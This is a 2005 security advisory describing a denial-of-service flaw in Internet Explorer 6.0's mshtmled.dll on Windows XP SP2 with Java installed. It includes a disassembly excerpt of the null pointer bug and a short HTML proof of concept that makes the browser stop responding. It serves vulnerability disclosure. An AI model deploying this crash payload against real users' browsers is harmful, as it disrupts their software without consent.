Internet Explorer 'mshtmled.dll' 6.0 Denial Of Service

Release Date:
October 24, 2005

Date Reported:
August 14, 2005

Severity:
Medium

Vendor:
Microsoft

Versions Affected:
Internet Explorer 6.0 on Windows XP SP2

Overview:
A denial of service vulnerability exists within Internet Explorer 6.0 on XP
SP2 with the J2SE Runtime Environment installed allows for an attacker to
cause the browser to stop responding.

Technical Details:
The flaw is within mshtmled.dll (6.00.2900.2753 (xpsp_sp2_gdr.050902-1326) and
prior versions) which Internet Explorer 6.0 uses for HTML editing.  Below is a
snippet from mshtmled.dll which is causing the problem.  From what is looks
like, this is just a null pointer issue.

.text:76235680 loc_76235680:         ; CODE XREF: sub_762355EC+56j
.text:76235680                       ; sub_762355EC+62j ...
.text:76235680                 mov     eax, [esi+8]
.text:76235683                 lea     ecx, [eax+10h]
.text:76235686                 mov     eax, [ecx] ; <(=--- oops 
.text:76235688                 call    dword ptr [eax+0Ch]
.text:7623568B                 mov     ecx, [eax]

The following code below will reproduce this issue.  Please note that you must
have J2SE Runtime Environment installed which is located here:

http://www.java.com/en/download/windows_automatic.jsp

<FRAMESET >
<FRAME SRC=AAAA >
<EMBED NAME=SP STYLE= >
<APPLET HSPACE=file:\\ >

Vendor Status:
Ask Microsoft

Discovered by:
Tom Ferris

Related Links:
www.security-protocols.com/poc/sp-x20.html
www.security-protocols.com/advisory/sp-x20-advisory.txt
www.security-protocols.com/modules.php?name=News&file=article&sid=3027
www.evolvesecurity.com

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